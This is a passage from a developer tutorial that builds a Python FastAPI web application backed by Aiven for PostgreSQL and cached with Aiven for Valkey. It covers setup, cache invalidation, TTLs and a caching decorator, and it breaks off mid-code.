too! We'll provide examples with both in this tutorial.\n * We'll also use [cURL](https://curl.se)\n\n* A Valkey database and a PostgreSQL database:\n * Setting up and managing a database, so we'll use [Aiven for PostgreSQL®](https://aiven.io/postgresql) and [Aiven for Valkey™](https://aiven.io/valkey) in this tutorial. You can [sign up for our free tier](https://console.aiven.io/signup) to follow along!\n * If you're following along without using Aiven, we still recommend deploying to a cloud provider like AWS or Google Cloud. This tutorial assumes the databases will be configured and deployed for you like Aiven does.\n\n## Set up a Python virtual environment\n\nWe'll do our development at the command line in a Python virtual environment. This will prevent any of the work we're doing in this tutorial from affecting anything else you might be working on.\n\nFirst, let's set up the Python virtual environment:\n\n```shell\npython3 -m venv venv\nsource venv/bin/activate\n```\n\nand then install the Python libraries we described above:\n\n```shell\npip install fastapi uvicorn\npip install psycopg2-binary\npip install 'valkey[hiredis]'\npip install 'python-dotenv'\n```\n\nThe `psycopg2` documentation recommends installing `psycopg2-binary` for development and testing, because installing the `psycopg2` package needs a C compiler and some other dependencies. For production it still recommends building the package yourself.\n\nWe're specifying `valkey[hiredis]` rather than just `valkey`, again as recommended by the package documentation, because it provides performance improvements. The single quotes stop the shell from seeing the `[` and `]` as special characters.\n\nYou can quickly check all of those are installed correctly by starting up Python:\n\n```shell\npython3\n```\n\nand then at the ``\u003e\u003e\u003e`` prompt enter the following:\n\n```python\nimport fastapi\nimport uvicorn\nimport psycopg2\nimport valkey\nimport dotenv\n```\n\nIf you don't get any errors from those, then you're good to go. Exit the Python shell by typing:\n\n```python\nexit()\n```\n\nIf you're on Unix/Mac you can use ``CTRL-D`` instead.\n\nYou can also type `pip list` at the terminal prompt to get a list of all the Python packages installed in this virtual environment, including packages needed by the ones you asked for.\n\n## Install cURL\n\n`curl` is a command line tool to \"do Internet transfers for resources specified as URLs using Internet protocols\", and we shall use it in this tutorial to allow us to GET from and POST to our web application, as an alternative to using a web browser.\n\nThe [Install cURL](https://everything.curl.dev/get) page in the [Everything cURL](https://everything.curl.dev/) book describes how to install it on Linux, Windows, macOS and using Docker. \n\nIn many operating systems, cURL is already installed. To check if it is, try calling it:\n\n```shell\ncurl --help\n```\n\n## Install the application specific tools\n\n### Install `psql`\n\nThe PostgreSQL Tutorial [Getting started](https://www.postgresqltutorial.com/postgresql-getting-started/) documentation explains how to install PostgreSQL on your local machine. This should also provide `psql`, a command line tool for talking to a PostgreSQL service.\n\nIf you're using a Mac and [Homebrew](https://brew.sh/) then you can type the following in a terminal to install `libpq` and its associated tools, which include `psql`:\n\n```shell\nbrew install libpq\n```\n\nThe output of that command will tell you how to make the `libpq` commands available on your path (it will say something like `If you need to have libpq first in your PATH, run: ...`). To get it set up temporarily in the current Bash session, we can do:\n```shell\nexport PATH=/opt/homebrew/opt/libpq/bin:$PATH\n```\n\n::alert[Installing PostgreSQL with Homebrew doesn't necessarily install `psql`, and we don't actually need to install the PostgreSQL service for this tutorial.]\n\n### Install the Aiven command line tool\n\nAiven also provides a command line tool for working with its services, and it provides a way to run the service-specific command line tool for PostgreSQL or Valkey (respectively, `psql` or `valkey-cli`). See [Get things done with the Aiven CLI](https://aiven.io/blog/aiven-cmdline) for a bit more background, and the [`avn service cli`](https://aiven.io/docs/tools/cli/service#avn-service-cli) documentation for some specifics.\n\nWe can install the [Aiven CLI](https://aiven.io/docs/tools/cli) using ``pip``, still in our virtual environment:\n\n```shell\npip install aiven-client\n```\n\nYou'll need to login using a token. Follow the instructions at [Create an authentication token](https://aiven.io/docs/platform/howto/create_authentication_token) to get a token, and then login at the terminal using the following command, where `YOUR_EMAIL_ADDRESS` is the email address you used to login to the Aiven Console. That will prompt you for the token that you copied.\n\n```shell\navn user login --token YOUR_EMAIL_ADDRESS\n```\n\nThen specify the project you want. `YOUR_PROJECT_NAME` will be the name of the project that you used when getting the token.\n\n```shell\navn project switch YOUR_PROJECT_NAME\n```\n\n### When to use `avn` and when to use `psql`\n\nYou'll notice we specified using two command line tools in this tutorial. Let's talk about when to use which. \n\n`avn` is Aiven's own CLI tool. Use it if you're following along with Aiven services. `avn` has the advantage that once you've logged in with a token, you just need the service name to connect, rather than the whole service URI.\n\n`psql` is useful to know because it's transferrable to any platform, not just Aiven, and lets us query some more specific things about PostgreSQL. If you aren't using Aiven, use `psql`.\n\n## Create an Aiven for PostgreSQL® service\n\n\nNext, let's create a PostgreSQL instance. \n\nIf you're using Aiven, you can also [use the command line](https://aiven.io/docs/tools/cli/service/database#manage-databases) to do this. In this tutorial, we'll use the Aiven console.\n\nNavigate to the [Aiven console](https://console.aiven.io/). Create an account if you haven't already, or log in if you have. If you're new to Aiven, then you can use the [free plan](https://aiven.io/docs/platform/concepts/free-plan) for this tutorial, or create a free trial if you prefer.\n\nClick **Create service** and create an Aiven for PostgreSQL® service.\n\nIf you're using the [Free plan](https://aiven.io/docs/platform/concepts/free-plan):\n\n- **Service type:** PostgreSQL®\n- **Cloud provider:** AWS\n- **Service cloud region:** Choose the region closest to you that supports the free plan.\n- **Service plan:** Choose **Free**, which is OK for this tutorial.\n- **Service name:** Choose something meaningful - we're using `pg-app-backend`\n\nor for a paid service:\n\n- **Service type:** PostgreSQL®\n- **Cloud provider:** Choose the cloud provider of your choice.\n- **Service cloud region:** Choose the region closest to you\n- **Service plan:** Choose **Hobbyist** or **Startup** (**Hobbyist** is OK for this tutorial)\n- **Service name:** Choose something meaningful - we're using `pg-app-backend`\n\nWhen you're ready, click **Create service**.\nThis initializes a PostgreSQL® database for use on the cloud and region you choose, with a small service plan (if you were building a real application, you'd want to pick a larger plan).\n\n\n#### Save the PostgreSQL connection information\n\nWhen Aiven is done initializing your PostgreSQL service, it will direct you to the service's Overview page. \n\nYou can return to this page any time using the **Services** menu on the left hand menu and selecting the service you want to view. You can also use the **Quick connect** button to get convenient copy-and-paste commands and code snippets for a variety of CLI tools and programming connections! \n\nThroughout this tutorial, we'll export common variables, like the PostgreSQL service URI as shell variables. This avoids commiting potentially sensitive data to a version control system like git.\n\nCopy the **Service URI** from the service page, and at the terminal prompt, set an environment variable to that string. For instance, if you're using the Bash shell:\n\n```bash\nexport PG_SERVICE_URI='\u003cthe Service URI\u003e' \n```\n\nRemember the single quotes, because the Service URI string probably has a question mark in it.\n\n## Put some data into the database\n\nDownload the `dellstore2-normal-1.0.tar.gz` file from the [PostgreSQL website](https://www.postgresql.org/ftp/projects/pgFoundry/dbsamples/dellstore2/dellstore2-normal-1.0/).\n\nUnpack it - for instance at the terminal you can use:\n\n```shell\ntar -xf dellstore2-normal-1.0.tar.gz\n```\n\nNavigate to the dellstore2-normal-1.0 folder on your terminal:\n\n```shell\ncd dellstore2-normal-1.0\n```\n\nNext, we want to start the PostgreSQL command line tool to talk to PostgreSQL. If you've installed `psql` then you can do that using the **Service URI** you saved earlier:\n\n```shell\npsql $PG_SERVICE_URI\n```\n\nor you can use the `avn` tool, which needs to know the service name:\n\n```shell\navn service cli pg-app-backend\n```\n\nIn either case, that should leave you talking to the `psql` prompt, which will say something like:\n\n```\npsql (14.7 (Homebrew), server 14.6)\nSSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)\nType \"help\" for help.\n\ndefaultdb=\u003e\n```\n\nCreate a new database, `dellstore`:\n\n```\nCREATE DATABASE dellstore;\n```\n\nThen change to the correct database:\n\n\n```\n\\c dellstore\n```\n\n::alert[When you change to the `dellstore` database, the prompt should change to `dellstore=\u003e`.]\n\nImport the data by typing:\n\n```\n\\i dellstore2-normal-1.0.sql\n```\n\nThen check what objects have been created in the database with:\n\n```\n\\d\n```\n\nThe output should look like this:\n\n```\nList of relations\n Schema | Name | Type | Owner\n--------+--------------------------+----------+----------\n public | categories | table | avnadmin\n public | categories_category_seq | sequence | avnadmin\n public | cust_hist | table | avnadmin\n public | customers | table | avnadmin\n public | customers_customerid_seq | sequence | avnadmin\n public | inventory | table | avnadmin\n public | orderlines | table | avnadmin\n public | orders | table | avnadmin\n public | orders_orderid_seq | sequence | avnadmin\n public | products | table | avnadmin\n public | products_prod_id_seq | sequence | avnadmin\n public | reorder | table | avnadmin\n(12 rows)\n```\n\nExist `psql` by typing `\\q`, and leave the `dellstore2-normal-1.0` directory\nby typing:\n```\ncd ..\n```\n\n\n## Create a simple web application\n\nThe following is a shortened version of the first example from the [FastAPI documentation](https://fastapi.tiangolo.com/#example).\n\nCreate a file called ``main.py`` that contains:\n\n```python\nfrom fastapi import FastAPI\n\napp = FastAPI()\n\n\n@app.get(\"/count\")\ndef read_count():\n return {\"count\": 0}\n```\n\nThen run it in a terminal using `uvicorn`:\n\n```shell\nuvicorn main:app --reload\n```\n\nWhich should say something like:\n\n```\nINFO: Will watch for changes in these directories: ['/Users/tony.ibbs/sw/aiven/pg-redis-tutorial']\nINFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)\nINFO: Started reloader process [75284] using StatReload\nINFO: Started server process [75286]\nINFO: Waiting for application startup.\nINFO: Application startup complete.\n```\n\nAs that suggests, the `--reload` switch means that when the source code for `main.py` changes, it will automatically be reloaded, so the change will take effect without needing to restart the web server. This is nice because it means you don't have to stop and start the server every time you save a change to the source code.\n\nWe recommend keeping this terminal window open and leaving `uvicorn` running through the rest of the tutorial.\n\nGo to ``http://127.0.0.1:8000/count`` in your web browser. You should see:\n\n```\n{\"count\":0}\n```\n\nThen, at the command line in a different terminal window, type\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nThe response should look like:\n\n```\n{\"count\":0}\n```\n\n## Make it talk to the PostgreSQL database\n\nNext, we'll change the `read_count` function so that it actually performs a `COUNT` of records in the database.\n\nThis is intentionally a slow operation, as `COUNT` enumerates through the entire database, record by record. In most production use cases, you wouldn't do this too often. \n\nIn real life, a better example of a slow query would be calculating the checkout price of a basket on an ecommerce site. This needs a lot of database access, which takes time, and we don't want to recalculate everything just because the customer hit \"refresh\".\n\nChange the import statements at the start of the file to bring in the extra libraries we need:\n\n```python\nimport os\n\nfrom fastapi import FastAPI\nfrom fastapi import HTTPException\n\nimport psycopg2\n```\n\nWe're going to need the PostgreSQL connection information, so we'll get that from the environment variable we set [earlier on](#save-the-postgresql-connection-information):\n\n```python\nPG_SERVICE_URI = os.getenv('PG_SERVICE_URI')\n```\n\nAs we said before, it's a good idea not to hard-code \"secrets\" into source code, especially if you're going to save it to GitHub or somewhere else public. Since the `PG_SERVICE_URI` includes all the access information for the database, that definitely applies here. Using an environment variable means that we don't need to alter the code when the connection data changes - the same code can work for a local PostgreSQL and one running in the cloud.\n\nAiven partners with GitHub in it's [secrets scanning program](https://aiven.io/blog/aiven-and-github's-secret-scanning-partnership) to prevent this for Aiven deployments, but it's a good idea to check manually anyway.\n\nWe keep the startup of FastApi itself:\n\n```python\napp = FastAPI()\n```\n\nThen, add a function that connects to the Postgres database. Double check that the environment variable was set, and complain if it wasn't!\n\n```python\ndef connect_to_pg():\n \"\"\"Connect to the PostgreSQL backend.\"\"\"\n if not PG_SERVICE_URI:\n raise HTTPException(\n status_code=500,\n detail=\"Internal server error. Database not specified - \"\n \"environment variable PG_SERVICE_URI is empty/unset\",\n )\n try:\n # Use the given service URI, but specify a different database\n return psycopg2.connect(PG_SERVICE_URI, database='dellstore')\n except Exception as e:\n raise HTTPException(\n status_code=500,\n detail=f\"Error connecting to database: {e.__class__.__name__} {e}\",\n )\n```\n\n::alert[The `SERVICE_URI` specifies how to connect to the `defaultdb` database, and our `psycopg2.connect` call then actually asks for the `dellstore` database. In a real application, we'd probably specify the database name with another environment variable.]\n\nNext we can change the `read_count` method to ask for how many orders there are in our database (you can see a brief introduction to how to use `psycopg2` to make SQL queries in its documentation, at [Basic module usage](https://www.psycopg.org/docs/usage.html#basic-module-usage)):\n\n```python\n@app.get(\"/count\")\ndef read_count():\n conn = connect_to_pg()\n try:\n cursor = conn.cursor()\n cursor.execute('SELECT COUNT(*) FROM orders;')\n count = cursor.fetchone()[0]\n except Exception as e:\n raise HTTPException(\n status_code=500,\n detail=f\"Error querying database: {e.__class__.__name__} {e}\",\n )\n finally:\n conn.close()\n return {'count': count}\n```\n\nLet's test this first working version of the application.\n\nIf the `uvicorn` command is still running at your terminal, you should see it reload the new version of the application. Otherwise, start the application again:\n\n```\nuvicorn main:app --reload\n```\n\nand run the `curl` command again, in the other terminal:\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nWe should see an answer for the total number of orders in the database:\n```\n{\"count\":12000}\n```\n\n## Why do we want caching?\n\nWhen you run `main.py` as shown above, the code executes the `COUNT` every time the `read_count()` method is called – every time a GET query is made. We don't store the result anywhere, and thus we need to perform this expensive, slow operation every time. \n\nUsing Redis as a cache solves this: we run one Redis instance that all our backends can access. This lets us store the results of `read_count()` outside our code _and_ our PostgreSQL database. If we're running a modern cloud-based application, other copies of our backend can access the results of `read_count()`, and we don't need to run expensive functions as often. Because the data Redis stores is not being read or written to disk, we can achieve very low latencies.\n\n## Create an Aiven for Valkey service\n\nNext, let's create an Aiven for Valkey service. As we said, Valkey will serve as our caching layer. \n\nIn most cases, you'll want to deploy Valkey to the same region as your PostgreSQL database, as this reduces latency. \n\nGo back to the [Aiven console](https://console.aiven.io/). If you're still on the PostgreSQL service page, select **Services** from the navigation sidebar to get back to the \"Current services\" page.\n\nClick **Create service** and create an Aiven for Valkey service. If you're chose the free plan when creating the PostgresSQL service, then that probably makes sense for Valkey as well.\n\nIf you're using the [Free plan](https://aiven.io/docs/platform/concepts/free-plan):\n\n- **Service type:** Valkey™\n- **Cloud provider:** AWS\n- **Service cloud region:** Choose the same region as your PostgreSQL database.\n- **Service plan:** Choose **Free**, which is OK for this tutorial.\n- **Service name:** Choose something meaningful - we're using `valkey-app-cache`\n\nor for a paid service:\n\n- **Service type:** Valkey™\n- **Cloud provider:** Choose the same cloud provider as for your PostgreSQL database.\n- **Service cloud region:** Choose the same region as your PostgreSQL database.\n- **Service plan:** Choose **Hobbyist** or **Startup** (**Hobbyist** is OK for this tutorial)\n- **Service name:** Choose something meaningful - we're using `valkey-app-cache`\n\nWhen you're ready, click **Create service**. As before, if you were building a real application, you'd want to pick a larger plan.\n\n### Save the Valkey connection information\n\nWhen Aiven is done spinning up your Valkey database, make a note of the Valkey Service URI. \n\nExport this as an environment variable, as we did with PostgreSQL.\nFirst, kill the `uvicorn` process, if it's still running, and then, if you're\nusing Bash, type:\n\n```shell\nexport VALKEY_SERVICE_URI='\u003cthe Valkey Service URI\u003e'\n```\n\n## Reminder on environment variables\n\nAs we're using more than one terminal window, it's easy to forget to set the PostgreSQL and Valkey environment variables (see [Save the PostgreSQL connection information](#save-the-postgresql-connection-information) earlier, and [Save the Valkey connection information](#save-the-valkey-connection-information) just before this). In summary:\n\n* Before running `uvicorn`, you should make sure that `PG_SERVICE_URI` and `VALKEY_SERVICE_URI` are both set, as the Python application needs both of them.\n* Before running `psql $PG_SERVICE_URI`, you should make sure that `PG_SERVICE_URI` is set (that sounds obvious, but I've made the mistake myself).\n\n## Connect to Valkey and cache the GET method\n\nNow let's add caching for the `read_count` function into `main py`.\n\nFirst, we add an import for the Valkey library. We'll also import the logging package, so we can output messages to the terminal where we're running the application to explain what we're doing with the cache.\n\nChange the start of `main.py` (everything up to the `app = FastAPI()`) to look like the following.\n \n```python\nimport os\n\nfrom fastapi import FastAPI\nfrom fastapi import HTTPException\n\nimport logging\nimport psycopg2\nimport valkey\n\n# turn on logging \nlogging.basicConfig(level=logging.DEBUG)\n\n# import environment variables\nPG_SERVICE_URI = os.getenv('PG_SERVICE_URI')\nVALKEY_SERVICE_URI = os.getenv('VALKEY_SERVICE_URI')\n\napp = FastAPI()\n```\n\nThis has added:\n- import statements for the `redis` and `logging` packages. \n- a mapping for the environment variable we created earlier, `VALKEY_SERVICE_URI`\n- a statement to turn logging on \n\nNow, after the `connect_to_pg` function, add a new `connect_to_valkey()` function, which will:\n \n- Take the `VALKEY_SERVICE_URI` variable and pass it to the `redis.from_url()` function to return an instance of Valkey for us.\n- Catch any errors we make along the way.\n\nThe new function looks like this:\n```python\ndef connect_to_valkey():\n \"\"\"Connect to the Valkey backend.\"\"\"\n if not VALKEY_SERVICE_URI:\n raise HTTPException(\n status_code=500,\n detail=\"Internal server error. Valkey service not specified - \"\n \"environment variable VALKEY_SERVICE_URI is empty/unset\",\n )\n try:\n return valkey.from_url(VALKEY_SERVICE_URI)\n except Exception as e:\n raise HTTPException(\n status_code=500,\n detail=f\"Error connecting to Valkey: {e.__class__.__name__} {e}\",\n )\n```\n\nFinally, modify the `read_count()` function to add values to Valkey when called. We do this by:\n- Connecting to Valkey using our `connect_to_valkey()` function.\n- Creating a variable to store our cache key in, `orders:count`. It's a good idea to name your cache keys something meaningful. \n- Looking in Valkey for any values stored under the `orders:count` key. \n - If a value is found in Valkey, we return the value and exit the function.\n - If not, we connect to PostgresSQL and run the `SELECT COUNT (*) FROM orders;` statement, add that value to the Valkey cache, and return the value before exiting. \n\nThe `read_count()` function should now look like: \n\n```python\n@app.get(\"/count\")\ndef read_count():\n cache_key = 'orders:count'\n valkey_conn = connect_to_valkey()\n\n # Is it already in the cache? If so, just use it\n count = valkey_conn.get(cache_key)\n if count:\n logging.debug(f'Found {cache_key}, value is {count}')\n return {'count': count}\n\n pg_conn = connect_to_pg()\n try:\n cursor = pg_conn.cursor()\n cursor.execute('SELECT COUNT(*) FROM orders;')\n count = cursor.fetchone()[0]\n except Exception as e:\n raise HTTPException(\n status_code=500,\n detail=f\"Error querying database: {e.__class__.__name__} {e}\",\n )\n finally:\n pg_conn.close()\n\n # Remember to add it to the cache\n logging.debug(f'Caching {cache_key}, value is {count}')\n valkey_conn.set(cache_key, count)\n return {'count': count}\n```\n\nLet's test the changes to our app. \n\nStart the application with `uvicorn` again (remember you'll need the `PG_SERVICE_URI` and `VALKEY_SERVICE_URI` environment variables set - see [Save the PostgreSQL connection information](#save-the-postgresql-connection-information) and [Save the Valkey connection information](#save-the-valkey-connection-information)).\n\n```\nuvicorn main:app --reload\n```\n\nand run our `curl` command in the other terminal:\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nWe should get back the result we expect, just as before:\n\n```\n{\"count\":12000}\n```\n\nbut now the `uvicorn` output should say:\n\n```\nDEBUG:root:Caching orders:count, value is 12000\nINFO: 127.0.0.1:51584 - \"GET /count HTTP/1.1\" 200 OK\n```\n\nIf we run the same `curl` command again\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nWe should get the same output\n\n```\n{\"count\":\"12000\"}\n```\n\nbut we can see from the `uvicorn` output that this time it has come from the cache:\n\n```\nDEBUG:root:Found orders:count, value is b'12000'\nINFO: 127.0.0.1:51587 - \"GET /count HTTP/1.1\" 200 OK\n```\n\n::alert[The `orders:count` value in the DEBUG output is shown as `b:12000'` because [Valkey strings](https://valkey.io/topics/strings/) are byte sequences, and so Python uses [Bytes objects](https://docs.python.org/3.10/library/stdtypes.html#bytes-objects) to represent them. Bytes literals are shown like string literals, but with a `b` before the quotes.]\n\n## Add a POST method to the application\n\nNext, let's add a POST function to the application, so we can add new records to our PostgreSQL database.\n\nThis may seem a bit disconnected, but hang tight - you'll understand why we're doing this in the next step. Refer to [the complete code](#all-the-code) if needed.\n\nWe need to add another import to `main.py`, this time to allow us to describe the arguments to our POST - add it after the other `from` import lines:\n\n```python\nfrom pydantic import BaseModel\n```\n\nThen, at the end of the file, we define the API that we're going to use for the new order (this will correspond to the JSON we use):\n\n```python\nclass Item(BaseModel):\n \"\"\"A new order.\"\"\"\n orderdate: str # e.g., 2023-03-10\n customerid: int\n netamount: float\n tax: float\n```\n\nAnd after that we can add our POST function which adds a new order to the database:\n\n```python\n@app.post(\"/add/\")\ndef post_add(item: Item):\n \"\"\"Add a new order.\"\"\"\n order = item.dict()\n logging.debug(f'Adding order {order}')\n\n pg_conn = connect_to_pg()\n try:\n cursor = pg_conn.cursor()\n cursor.execute(\n 'INSERT INTO orders'\n ' (orderdate, customerid, netamount, tax, totalamount)'\n ' VALUES (%s, %s, %s, %s, %s);',\n (item.orderdate, item.customerid, item.netamount, item.tax, item.netamount + item.tax),\n )\n pg_conn.commit()\n logging.debug('Added new order')\n except Exception as e:\n raise HTTPException(\n status_code=500,\n detail=f\"Error updating database: {e.__class__.__name__} {e}\",\n )\n finally:\n pg_conn.close()\n\n return {'updated': {'customer': item.customerid}}\n```\n\nWe can test it using `curl`:\n\n```shell\ncurl -X 'POST' http://127.0.0.1:8000/add/ \\\n -H 'Content-Type: application/json' \\\n -d '{\"orderdate\":\"2023-03-10\",\"customerid\":9999,\"netamount\":23.0,\"tax\":2.0}'\n```\n\nAnd we should get the following output back:\n\n```\n{\"updated\":{\"customer\":9999}}\n```\n\nThe application's debugging should show the following:\n\n```\nDEBUG:root:Adding order {'orderdate': '2023-03-10', 'customerid': 9999, 'netamount': 23.0, 'tax': 2.0}\nDEBUG:root:Added new order\n```\n\nWe can also examine the new database row using `psql`. Make sure that the `PG_SERVICE_URI` environment variable is set in your terminal (see [Save the PostgreSQL connection information](#save-the-postgresql-connection-information) earlier), then connect:\n```shell\npsql $PG_SERVICE_URI\n```\n\nNext, change to the correct database:\n```\n\\c dellstore\n```\n\nThen make a query:\n```sql\nselect * from orders where customerid=9999;\n```\n\nwhich should respond as follows:\n```\n orderid | orderdate | customerid | netamount | tax | totalamount\n---------+------------+------------+-----------+------+-------------\n 7918 | 2004-08-28 | 9999 | 51.19 | 4.22 | 55.41\n 12006 | 2023-03-10 | 9999 | 23.00 | 2.00 | 25.00\n(2 rows)\n```\n\nAgain, exit from `psql` using `\\q`.\n\n*But* if we use `curl` to ask for the total number of orders again:\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nWe still get the old answer:\n\n```\n{\"count\":\"12000\"}\n```\n\nHere we have a problem: our cache is out of date. We only update the cache when we call `read_count()` for the first time. When we update the database from another method, we aren't updating the cache to reflect the change.\n\n## Dealing with out of date caches\n\nInvaldiating caches is a common issue in software development. Our cache is only as useful as it is accurate. So what do we need to do to ensure our cache is accurate? \n\nWell, for starters, we need to ensure that our ``count`` cache is invalidated whenever we call our POST method. \n\n## Invalidating the cache\n\nWe can solve the problem of our cache getting outdated by \"throwing away\" the cached value when we add a new order. To do that we need to add the following lines to the start of the `post_add` function, just before the call to `connect_to_pg()` (the comments aren't strictly necessary, but they make it clearer what we're doing):\n\n```python\n # Invalidate the cache entry whether we succeed in doing the update or not\n # - we don't expect the update to fail, and it shouldn't hurt to clear the\n # cache a bit too often\n cache_key = 'orders:count'\n valkey_conn = connect_to_valkey()\n # The Valkey command is `del`, but that's special in Python\n valkey_conn.delete(cache_key)\n```\n\n::alert[The actual Valkey command is called `del`, but that's a Python reserved word, so can't be used as a method name. The Valkey library chooses `delete` as a good alternative.]\n\nThe whole function now looks like:\n\n```python\n@app.post(\"/add/\")\ndef post_add(item: Item):\n \"\"\"Add a new order.\"\"\"\n order = item.dict()\n logging.debug(f'Adding order {order}')\n\n # Invalidate the cache entry whether we succeed in doing the update or not\n # - we don't expect the update to fail, and it shouldn't hurt to clear the\n # cache a bit too often\n cache_key = 'orders:count'\n valkey_conn = connect_to_valkey()\n # The Valkey command is `del`, but that's special in Python\n valkey_conn.delete(cache_key)\n\n pg_conn = connect_to_pg()\n try:\n cursor = pg_conn.cursor()\n cursor.execute(\n 'INSERT INTO orders'\n ' (orderdate, customerid, netamount, tax, totalamount)'\n ' VALUES (%s, %s, %s, %s, %s);',\n (item.orderdate, item.customerid, item.netamount, item.tax, item.netamount + item.tax),\n )\n pg_conn.commit()\n logging.debug('Added new order')\n except Exception as e:\n raise HTTPException(\n status_code=500,\n detail=f\"Error updating database: {e.__class__.__name__} {e}\",\n )\n finally:\n pg_conn.close()\n\n return {'updated': {'customer': item.customerid}}\n```\n\nAnd now when we add a new order:\n\n```shell\ncurl -X 'POST' http://127.0.0.1:8000/add/ \\\n -H 'Content-Type: application/json' \\\n -d '{\"orderdate\":\"2023-03-10\",\"customerid\":9999,\"netamount\":23.0,\"tax\":2.0}'\n```\n\nand ask for the count:\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nWe get back an updated value, as we'd expect:\n\n```\n{\"count\":12002}\n```\n\nYour `count` value may be slightly different than the example above – don't worry about it, so long as it's over 12000.\n\nBefore leaving this section, let's just tidy up a little bit. We've got two defitions of `cache_key` in separate functions (`read_count` and `post_add`), and while they're both the same, it would be better to define that string just once.\n\nSo add another constant definition, before the `app = FastAPI()` line:\n```python\nCACHE_KEY = 'orders:count'\n```\n\nThen, delete the setting of `cache_key` by removing this line from both the `read_count` and `post_add` functions. \n\n```python\n cache_key = 'orders:count'\n```\nThen change the uses of `cache_key` to be uses of `CACHE_KEY` instead. Don't forget the uses in the logging calls.\n\nCheck it's all working by running the two `curl` commands (the POST and the GET) once more.\n\n## Specifying a TTL (\"time to live\")\n\nNext, let's set a Time to Live, or TTL.\n\nThis is a common practice when working with caches: it specifies how long we should let a cache stay valid for. As we add more functions and more microservices to our application, other applications might modify a database entry in the background. A TTL ensures that we invalidate the cache on a regular basis, reducing the chances that our cache is inaccurate to the underlying data. \n\nLet's set a new environment variable for the cache timeout in seconds. Kill the `uvicorn` process, and then set a new environment variable:\n\n```shell\nexport CACHE_TIMEOUT_SECONDS=5\n```\n\nIn `main.py`, let's retrieve the new environment variable, and set a default value in case the environment variable isn't set. This new code should go after the code retrieving the `PG_SERVICE_URI` and `VALKEY_SERVICE_URI` values:\n\n```python\nCACHE_TIMEOUT_SECONDS = 120\ncache_timeout_str = os.getenv('CACHE_TIMEOUT_SECONDS', str(CACHE_TIMEOUT_SECONDS))\ntry:\n CACHE_TIMEOUT_SECONDS = int(cache_timeout_str)\nexcept ValueError as e:\n logging.error(f'Bad value {cache_timeout_str}, using {CACHE_TIMEOUT}')\nlogging.info(f'Cache timeout is {CACHE_TIMEOUT_SECONDS}s')\n```\n\nNext, use the cache timeout by altering the call of the Valkey `set` method at the end of our `read_count` function.\nWe just need to add the `ex` parameter to specify the timeout:\n\n```python\n valkey_conn.set(CACHE_KEY, count, ex=CACHE_TIMEOUT_SECONDS)\n```\n \nNow, if we POST a new order, the *next* GET for a\ncount is cached, and we can see that subsequent GET requests\nonly find a cached value if they are within the `CACHE_TIMEOUT` time.\n\n### Try it yourself and see\n\nRestart the application:\n \n```shell\nuvicorn main:app --reload\n```\n\nMake a new POST request, to invalidate the cache.\nThen make a GET request followed quickly by another. The second GET will use the cache. But if you now wait longer than the TTL and *then* make another GET request, the cache entry will have expired, so the database will need to be queried again.\n\nIn more detail:\n\nMake a new POST:\n```shell\ncurl -X 'POST' http://127.0.0.1:8000/add/ \\\n -H 'Content-Type: application/json' \\\n -d '{\"orderdate\":\"2023-03-10\",\"customerid\":9999,\"netamount\":23.0,\"tax\":2.0}'\n```\n\nThen a GET:\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nThen another GET:\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nAt this point `uvicorn` should show the following:\n```\nDEBUG:root:Adding order {'orderdate': '2023-03-10', 'customerid': 9999, 'netamount': 23.0, 'tax': 2.0}\nDEBUG:root:Added new order\nINFO: 127.0.0.1:60078 - \"POST /add/ HTTP/1.1\" 200 OK\nDEBUG:root:Caching orders:count, value is 12004\nINFO: 127.0.0.1:60090 - \"GET /count HTTP/1.1\" 200 OK\nDEBUG:root:Found orders:count, value is b'12004'\nINFO: 127.0.0.1:60098 - \"GET /count HTTP/1.1\" 200 OK\n```\n\nBut if you now wait for 10 seconds (remember, the TTL is 5 seconds) and do a GET:\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nThe application should report the following because the cache entry has expired:\n\n```\nDEBUG:root:Caching orders:count, value is 12004\nINFO: 127.0.0.1:60152 - \"GET /count HTTP/1.1\" 200 OK\n```\n\n## Using a Python decorator\n\nThere are two slight problems with the code we've got now:\n\n* Short functions that do fewer things are generally easier to understand. Our GET and POST functions are mixing up the \"talk to the database\" and the \"handle the cache\" code, which are really two different things.\n\n* If we add more GET or POST functions, we'll have to remember to add caching to them all, and it's surprisingly easy to forget to do this.\n\nThe [DRY (\"Don't Repeat Yourself\")](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) principle suggests \"Every piece of knowledge must have a single, unambiguous, authoritative representation within a system\". We can use Python decorators to re-implement our caching, cleaning up the code and helping to solve the two concerns above.\n\nAt the start of `main.py`, before the `import os` line, add:\n```python\nimport functools\n```\n(It's normally considered good practice to group the importing of things from the Python standard library together.)\n\n\nOur first decorator is for GET functions.\n\n\nBefore the `read_count` function, add the following:\n\n```python\ndef check_cache(func):\n @functools.wraps(func)\n def wrapper():\n valkey_conn = connect_to_valkey()\n\n # Is it already in the cache? If so, just use it\n count = valkey_conn.get(CACHE_KEY)\n if count:\n logging.debug(f'Found {CACHE_KEY}, value is {count}')\n return {'count': count}\n\n logging.debug(f'Calling {func} to find the count')\n retval = func()\n count = retval['count']\n\n # Remember to add it to the cache\n logging.debug(f'Caching {CACHE_KEY}, value is {count}')\n valkey_conn.set(CACHE_KEY, count, ex=CACHE_TIMEOUT_SECONDS)\n\n return retval\n\n return wrapper\n```\n\nThen, decorate the `read_count` function:\n\n```python\n@app.get(\"/count\")\n@check_cache\ndef read_count():\n```\n\n::alert[Since FastAPI has other logic in its decorators, we need a little bit of care when adding our own. First of all, it's important to have that `@functools.wraps(func)` line in the decorator itself, so that the wrapper has the same signature as the wrapped function. Secondly, the order of the decorators matters - the FastAPI decorator needs to come first.]\n\nWe now remove the caching code from the inside of the function, leaving us with:\n\n```python\n@app.get(\"/count\")\n@check_cache\ndef read_count():\n pg_conn = connect_to_pg()\n try:\n cursor = pg_conn.cursor()\n cursor.execute('SELECT COUNT(*) FROM orders;')\n count = cursor.fetchone()[0]\n except Exception as e:\n raise HTTPException(\n 